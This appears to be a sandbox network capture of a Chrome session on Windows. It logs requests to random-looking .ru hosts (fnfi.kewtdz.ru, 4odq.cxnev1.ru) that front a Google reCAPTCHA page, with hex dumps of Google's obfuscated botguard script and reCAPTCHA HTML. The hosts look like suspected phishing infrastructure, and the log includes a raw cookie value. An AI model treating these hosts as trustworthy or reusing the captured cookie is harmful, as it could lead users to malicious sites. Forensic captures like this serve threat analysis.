2024-04-26 08:00:21 UTC	418	OUT	GET /SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL HTTP/1.1 Host: fnfi.kewtdz.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:22 UTC	608	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ecszi4EdpkLwxgd5oXP1BasBRUBu6G%2FVzHcPkO9ZLhPxdRJEOzgvaRm82dhYix73dRA4CRniLn%2FgWBJXi48O5WVyu0U7f%2FGJRHMVPYCLabCrJLngM2GKRYTXbEknaEzHwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a509e8b973749e-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 08:00:22 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-04-26 08:00:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50043	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:23 UTC	1021	OUT	GET /js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:23 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18268 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 25 Apr 2024 17:40:07 GMT Expires: Fri, 25 Apr 2025 17:40:07 GMT Cache-Control: public, max-age=31536000 Age: 51616 Last-Modified: Tue, 16 Apr 2024 13:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 08:00:23 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 21 28 4e 3d 28 52 3d 65 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 52 29 7c 7c 21 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 4e 3b 74 72 79 7b 4e 3d 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 70 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p}
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 50 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 50 29 7b 72 65 74 75 72 6e 22 22 2b 50 7d 7d 28 65 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 52 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 72 65 74 75 72 6e 20 52 5b 4e 5d 3c 3c 32 34 7c 52 5b 28 4e 7c 30 29 2b 31 5d 3c 3c 31 36 7c 52 5b 28 4e 7c 30 29 2b 32 5d 3c 3c 38 7c 52 5b 28 4e 7c 30 29 2b 33 5d 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 34 33 38 3d Data Ascii: eateScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438=
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 67 5b 77 5d 2c 52 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 66 6f 72 28 4e 3d 5b 5d 3b 52 2d 2d 3b 29 4e 2e 70 75 73 68 28 32 35 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 4e 3d 4e 2e 58 5b 52 5d 2c 4e 29 29 74 68 72 6f 77 5b 4d 2c 33 30 2c 52 5d 3b 69 66 28 4e 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 4e 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 28 4e 2e 63 72 65 61 74 65 28 33 2a 52 2a 52 2b 32 31 2a 52 2b 2d 33 34 29 2c 4e 29 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 50 52 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 2c 6b 2c 50 29 7b 72 65 74 75 72 6e 20 50 3d 28 Data Ascii: g[w],R);return N},c=function(R,N){for(N=[];R--;)N.push(255Math.random()\|0);return N},Z=function(R,N){if(void 0===(N=N.X[R],N))throw[M,30,R];if(N.value)return N.create();return(N.create(3RR+21R+-34),N).prototype},PR=function(R,N,p,e,w,T,k,P){return P=(
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 2e 67 69 3d 66 2c 32 5d 5d 2c 66 29 3c 3c 33 29 2d 34 3b 74 72 79 7b 54 2e 63 4f 3d 74 41 28 52 65 28 54 2c 28 66 7c 30 29 2b 34 29 2c 52 65 28 54 2c 66 29 2c 79 29 7d 63 61 74 63 68 28 61 29 7b 74 68 72 6f 77 20 61 3b 7d 7d 54 2e 70 75 73 68 28 54 2e 63 4f 5b 50 26 37 5d 5e 6b 29 7d 2c 77 3d 5a 28 35 39 2c 4e 29 29 3a 52 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 54 2e 70 75 73 68 28 6b 29 7d 2c 65 26 26 52 28 65 26 32 35 35 29 2c 4e 3d 70 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 4e 3b 65 2b 2b 29 52 28 70 5b 65 5d 29 7d 2c 45 2c 56 30 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 28 70 3d 74 79 70 65 6f 66 20 52 2c 70 29 29 69 66 28 52 29 7b 69 66 28 52 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 72 65 Data Ascii: .gi=f,2]],f)<<3)-4;try{T.cO=tA(Re(T,(f\|0)+4),Re(T,f),y)}catch(a){throw a;}}T.push(T.cO[P&7]^k)},w=Z(59,N)):R=function(k){T.push(k)},e&&R(e&255),N=p.length,e=0;e<N;e++)R(p[e])},E,V0=function(R,N,p){if("object"==(p=typeof R,p))if(R){if(R instanceof Array)re
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 37 2c 28 4b 28 33 33 36 2c 52 2c 28 4b 28 34 38 35 2c 28 4b 28 28 64 28 35 35 2c 52 2c 28 4b 28 28 64 28 28 64 28 35 30 33 2c 52 2c 28 4b 28 31 32 37 2c 28 64 28 32 39 38 2c 52 2c 63 28 28 4b 28 34 31 38 2c 52 2c 28 4b 28 33 37 2c 52 2c 28 64 28 28 64 28 33 30 31 2c 52 2c 28 64 28 31 36 37 2c 28 4b 28 28 64 28 35 39 2c 52 2c 5b 30 2c 28 4b 28 31 37 31 2c 52 2c 28 4b 28 32 35 2c 28 4b 28 31 31 37 2c 28 4b 28 31 35 33 2c 52 2c 28 64 28 31 36 33 2c 52 2c 28 64 28 33 33 31 2c 28 64 28 34 33 38 2c 52 2c 28 52 2e 61 79 3d 28 4e 3d 28 28 52 2e 57 4f 3d 32 35 2c 52 29 2e 53 3d 28 52 2e 50 3d 5b 5d 2c 28 52 2e 54 3d 28 52 2e 6a 3d 66 61 6c 73 65 2c 52 29 2c 52 29 2e 4c 43 3d 30 2c 52 2e 5a 3d 28 28 28 28 52 2e 73 3d 30 2c 52 2e 59 3d 76 6f 69 64 20 30 2c 52 2e 42 Data Ascii: 7,(K(336,R,(K(485,(K((d(55,R,(K((d((d(503,R,(K(127,(d(298,R,c((K(418,R,(K(37,R,(d((d(301,R,(d(167,(K((d(59,R,[0,(K(171,R,(K(25,(K(117,(K(153,R,(d(163,R,(d(331,(d(438,R,(R.ay=(N=((R.WO=25,R).S=(R.P=[],(R.T=(R.j=false,R),R).LC=0,R.Z=((((R.s=0,R.Y=void 0,R.B
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 64 28 28 66 3d 28 61 3d 56 28 28 79 3d 56 28 50 29 2c 50 29 29 2c 56 29 28 50 29 2c 66 29 2c 50 2c 5a 28 79 2c 50 29 7c 7c 5a 28 61 2c 50 29 29 7d 29 2c 39 34 31 29 29 2c 34 34 29 2c 52 2c 72 29 2c 31 37 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 21 58 28 66 2c 74 72 75 65 2c 66 61 6c 73 65 2c 50 29 26 26 28 66 3d 54 32 28 50 29 2c 61 3d 66 2e 73 52 2c 79 3d 66 2e 6e 43 2c 50 2e 54 3d 3d 50 7c 7c 61 3d 3d 50 2e 5a 55 26 26 79 3d 3d 50 29 26 26 28 64 28 66 2e 7a 73 2c 50 2c 61 2e 61 70 70 6c 79 28 79 2c 66 2e 67 29 29 2c 50 2e 41 3d 50 2e 4e 28 29 29 7d 29 2c 30 29 29 2c 35 30 38 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 2c 74 2c 47 2c 53 2c 43 2c 62 2c 42 2c 59 Data Ascii: function(P,f,y,a){d((f=(a=V((y=V(P),P)),V)(P),f),P,Z(y,P)\|\|Z(a,P))}),941)),44),R,r),17),R,function(P,f,y,a){!X(f,true,false,P)&&(f=T2(P),a=f.sR,y=f.nC,P.T==P\|\|a==P.ZU&&y==P)&&(d(f.zs,P,a.apply(y,f.g)),P.A=P.N())}),0)),508),R,function(P,f,y,a,t,G,S,C,b,B,Y
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 29 2c 50 29 29 2c 56 29 28 50 29 2c 5a 28 66 2c 50 29 29 2c 74 29 2c 50 29 2c 5a 28 53 2c 50 29 29 2c 79 3d 5a 28 79 2c 50 29 2c 53 29 29 29 7b 66 6f 72 28 61 20 69 6e 20 47 3d 5b 5d 2c 53 29 47 2e 70 75 73 68 28 61 29 3b 53 3d 47 7d 69 66 28 50 2e 54 3d 3d 50 29 66 6f 72 28 66 3d 30 3c 66 3f 66 3a 31 2c 50 3d 53 2e 6c 65 6e 67 74 68 2c 61 3d 30 3b 61 3c 50 3b 61 2b 3d 66 29 74 28 53 2e 73 6c 69 63 65 28 61 2c 28 61 7c 30 29 2b 28 66 7c 30 29 29 2c 79 29 7d 7d 29 2c 52 29 2e 48 4f 3d 30 2c 52 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 28 61 3d 56 28 28 79 3d 28 66 3d 56 28 50 29 2c 56 28 50 29 29 2c 50 29 29 2c 50 2e 54 3d 3d 50 29 26 26 28 79 3d 5a 28 79 2c 50 29 2c 61 3d 5a 28 61 2c 50 29 2c 5a 28 66 2c 50 29 5b 79 5d 3d 61 2c 32 34 37 Data Ascii: ),P)),V)(P),Z(f,P)),t),P),Z(S,P)),y=Z(y,P),S))){for(a in G=[],S)G.push(a);S=G}if(P.T==P)for(f=0<f?f:1,P=S.length,a=0;a<P;a+=f)t(S.slice(a,(a\|0)+(f\|0)),y)}}),R).HO=0,R),function(P,f,y,a){(a=V((y=(f=V(P),V(P)),P)),P.T==P)&&(y=Z(y,P),a=Z(a,P),Z(f,P)[y]=a,247
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 6e 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 7d 2c 28 52 28 66 75 6e 63 74 69 6f 6e 28 70 29 7b 70 28 4e 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 5d 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 49 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 29 7b 72 65 74 75 72 6e 20 5a 28 28 64 28 34 33 38 2c 52 2c 28 46 79 28 4e 2c 28 28 65 3d 5a 28 34 33 38 2c 52 29 2c 52 2e 50 29 26 26 65 3c 52 2e 73 3f 28 64 28 34 33 38 2c 52 2c 52 2e 73 29 2c 5a 65 28 52 2c 70 29 29 3a 64 28 34 33 38 2c 52 2c 70 29 2c 52 29 29 2c 65 29 29 2c 32 36 31 29 2c 52 29 7d 2c 4e 5f 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 72 65 74 75 72 6e 28 70 3d 6c 5b 4e 2e 57 5d 28 4e 2e 4f 52 29 2c 70 5b 4e 2e 57 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: n[function(){return N},(R(function(p){p(N)}),function(){})]},r=this\|\|self,Ie=function(R,N,p,e){return Z((d(438,R,(Fy(N,((e=Z(438,R),R.P)&&e<R.s?(d(438,R,R.s),Ze(R,p)):d(438,R,p),R)),e)),261),R)},N_=function(R,N,p){return(p=l[N.W](N.OR),p[N.W]=function(){r
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 4e 5d 7c 30 29 2d 28 52 5b 28 28 4e 7c 30 29 2b 31 29 25 33 5d 7c 30 29 2d 28 65 7c 30 29 5e 28 31 3d 3d 4e 3f 65 3c 3c 70 3a 65 3e 3e 3e 70 29 7d 63 61 74 63 68 28 77 29 7b 74 68 72 6f 77 20 77 3b 7d 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 29 7b 69 66 28 21 70 2e 72 69 26 26 28 54 3d 76 6f 69 64 20 30 2c 4e 26 26 4e 5b 30 5d 3d 3d 3d 4d 26 26 28 54 3d 4e 5b 32 5d 2c 52 3d 4e 5b 31 5d 2c 4e 3d 76 6f 69 64 20 30 29 2c 65 3d 5a 28 31 37 32 2c 70 29 2c 30 3d 3d 65 2e 6c 65 6e 67 74 68 26 26 28 77 3d 5a 28 33 33 31 2c 70 29 3e 3e 33 2c 65 2e 70 75 73 68 28 52 2c 77 3e 3e 38 26 32 35 35 2c 77 26 32 35 35 29 2c 76 6f 69 64 20 30 21 3d 54 26 26 65 2e 70 75 73 68 28 54 26 32 35 35 29 29 2c 52 3d 22 22 2c 4e 26 26 28 4e 2e 6d 65 73 Data Ascii: N]\|0)-(R[((N\|0)+1)%3]\|0)-(e\|0)^(1==N?e<<p:e>>>p)}catch(w){throw w;}},n=function(R,N,p,e,w,T){if(!p.ri&&(T=void 0,N&&N[0]===M&&(T=N[2],R=N[1],N=void 0),e=Z(172,p),0==e.length&&(w=Z(331,p)>>3,e.push(R,w>>8&255,w&255),void 0!=T&&e.push(T&255)),R="",N&&(N.mes
2024-04-26 08:00:23 UTC	1255	IN	Data Raw: 2e 41 3d 54 3b 69 66 28 21 6b 7c 7c 54 2d 65 2e 43 3c 65 2e 42 4f 2d 28 70 3f 32 35 35 3a 4e 3f 35 3a 32 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 20 65 2e 5a 3d 28 64 28 34 33 38 2c 28 70 3d 5a 28 28 65 2e 74 54 3d 52 2c 4e 29 3f 33 33 31 3a 34 33 38 2c 65 29 2c 65 29 2c 65 2e 73 29 2c 65 2e 56 2e 70 75 73 68 28 5b 69 47 2c 70 2c 4e 3f 52 2b 31 3a 52 2c 65 2e 44 2c 65 2e 6a 2c 65 2e 76 2c 65 2e 69 5d 29 2c 44 65 29 2c 74 72 75 65 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 4e 2e 42 3d 28 28 4e 2e 42 3f 4e 2e 42 2b 22 7e 22 3a 22 45 3a 22 29 2b 52 2e 6d 65 73 73 61 67 65 2b 22 3a 22 2b 52 2e 73 74 61 63 6b 29 2e 73 6c 69 63 65 28 30 2c 32 30 34 38 29 7d 2c 44 65 3d 72 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 Data Ascii: .A=T;if(!k\|\|T-e.C<e.BO-(p?255:N?5:2))return false;return e.Z=(d(438,(p=Z((e.tT=R,N)?331:438,e),e),e.s),e.V.push([iG,p,N?R+1:R,e.D,e.j,e.v,e.i]),De),true},H=function(R,N){N.B=((N.B?N.B+"~":"E:")+R.message+":"+R.stack).slice(0,2048)},De=r.requestIdleCallbac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50044	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:23 UTC	1058	OUT	GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:24 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 08:00:24 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-ZCWHEFK5af0irzcKglhgJg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:24 UTC	364	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-26 08:00:24 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-26 08:00:24 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-26 08:00:24 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
